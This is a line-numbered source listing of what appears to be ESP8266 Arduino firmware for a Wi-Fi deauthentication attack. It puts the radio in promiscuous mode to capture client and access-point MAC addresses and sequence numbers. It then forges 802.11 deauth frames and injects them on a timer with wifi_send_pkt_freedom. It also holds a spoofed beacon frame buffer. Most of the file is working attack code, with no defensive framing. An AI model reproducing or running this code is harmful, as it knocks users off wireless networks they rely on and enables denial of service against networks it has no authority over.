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12 | static os_timer_t deauth_timer; 13 | 14 | // Channel to perform deauth 15 | uint8_t channel = 1; 16 | 17 | // Access point MAC to deauth 18 | uint8_t ap[6] = {0x00,0x01,0x02,0x03,0x04,0x05}; 19 | 20 | // Client MAC to deauth 21 | uint8_t client[6] = {0x06,0x07,0x08,0x09,0x0A,0x0B}; 22 | 23 | // Sequence number of a packet from AP to client 24 | uint16_t seq_n = 0; 25 | 26 | // Packet buffer 27 | uint8_t packet_buffer[64]; 28 | 29 | struct RxControl { 30 | signed rssi:8; 31 | unsigned rate:4; 32 | unsigned is_group:1; 33 | unsigned:1; 34 | unsigned sig_mode:2; 35 | unsigned legacy_length:12; 36 | unsigned damatch0:1; 37 | unsigned damatch1:1; 38 | unsigned bssidmatch0:1; 39 | unsigned bssidmatch1:1; 40 | unsigned MCS:7; 41 | unsigned CWB:1; 42 | unsigned HT_length:16; 43 | unsigned Smoothing:1; 44 | unsigned Not_Sounding:1; 45 | unsigned:1; 46 | unsigned Aggregation:1; 47 | unsigned STBC:2; 48 | unsigned FEC_CODING:1; 49 | unsigned SGI:1; 50 | unsigned rxend_state:8; 51 | unsigned ampdu_cnt:8; 52 | unsigned channel:4; 53 | unsigned:12; 54 | }; 55 | 56 | struct LenSeq { 57 | uint16_t length; 58 | uint16_t seq; 59 | uint8_t address3[6]; 60 | }; 61 | 62 | struct sniffer_buf { 63 | struct RxControl rx_ctrl; 64 | uint8_t buf[36]; 65 | uint16_t cnt; 66 | struct LenSeq lenseq[1]; 67 | }; 68 | 69 | struct sniffer_buf2{ 70 | struct RxControl rx_ctrl; 71 | uint8_t buf[112]; 72 | uint16_t cnt; 73 | uint16_t len; 74 | }; 75 | 76 | // Beacon Packet buffer 77 | uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00, 78 | /*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 79 | /*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 80 | /*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 81 | /*22*/ 0xc0, 0x6c, 82 | /*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, 83 | /*32*/ 0x64, 0x00, 84 | /*34*/ 0x01, 0x04, 85 | /* SSID */ 86 | /*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72, 87 | 0x01, 0x08, 0x82, 0x84, 88 | 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01, 89 | /*56*/ 0x04}; 90 | 91 | /* Creates a deauth packet. 92 | * 93 | * buf - reference to the data array to write packet to; 94 | * client - MAC address of the client; 95 | * ap - MAC address of the acces point; 96 | * seq - sequence number of 802.11 packet; 97 | * 98 | * Returns: size of the packet 99 | */ 100 | uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq) 101 | { 102 | int i=0; 103 | 104 | // Type: deauth 105 | buf[0] = 0xC0; 106 | buf[1] = 0x00; 107 | // Duration 0 msec, will be re-written by ESP 108 | buf[2] = 0x00; 109 | buf[3] = 0x00; 110 | // Destination 111 | for (i=0; i<6; i++) buf[i+4] = client[i]; 112 | // Sender 113 | for (i=0; i<6; i++) buf[i+10] = ap[i]; 114 | for (i=0; i<6; i++) buf[i+16] = ap[i]; 115 | // Seq_n 116 | buf[22] = seq % 0xFF; 117 | buf[23] = seq / 0xFF; 118 | // Deauth reason 119 | buf[24] = 1; 120 | buf[25] = 0; 121 | return 26; 122 | } 123 | 124 | void promisc_cb(uint8_t *buf, uint16_t len) 125 | { 126 | if (len == 12){ 127 | struct RxControl *sniffer = (struct RxControl*) buf; 128 | } else if (len == 128) { 129 | struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf; 130 | } else { 131 | struct sniffer_buf *sniffer = (struct sniffer_buf*) buf; 132 | int i=0; 133 | // Check MACs 134 | for (i=0; i<6; i++) { 135 | client[i] = sniffer->buf[i+4]; 136 | } 137 | for (i=0; i<6; i++) { 138 | ap[i] = sniffer->buf[i+10]; 139 | } 140 | // Update sequence number 141 | seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22]; 142 | } 143 | } 144 | 145 | /* Sends deauth packets. */ 146 | void deauth(void) 147 | { 148 | os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10); 149 | // Sequence number is increased by 16, see 802.11 150 | uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10); 151 | wifi_send_pkt_freedom(packet_buffer, size, 0); 152 | } 153 | 154 | void setup() { 155 | os_printf("\nSetting up..."); 156 | // Promiscuous works only with station mode 157 | wifi_set_opmode(STATION_MODE); 158 | 159 | // Set timer for deauth 160 | os_timer_disarm(&deauth_timer); 161 | os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL); 162 | os_timer_arm(&deauth_timer, CHANNEL_HOP_INTERVAL, 1); 163 | 164 | // Set up promiscuous callback 165 | wifi_set_channel(1); 166 | wifi_promiscuous_enable(0); 167 | 168 | delay(500); 169 | 170 | wifi_set_promiscuous_rx_cb(promisc_cb); 171 | wifi_promiscuous_enable(1); 172 | } 173 | 174 | 175 | 176 | void loop() { 177 | 178 | } 179 | --------------------------------------------------------------------------------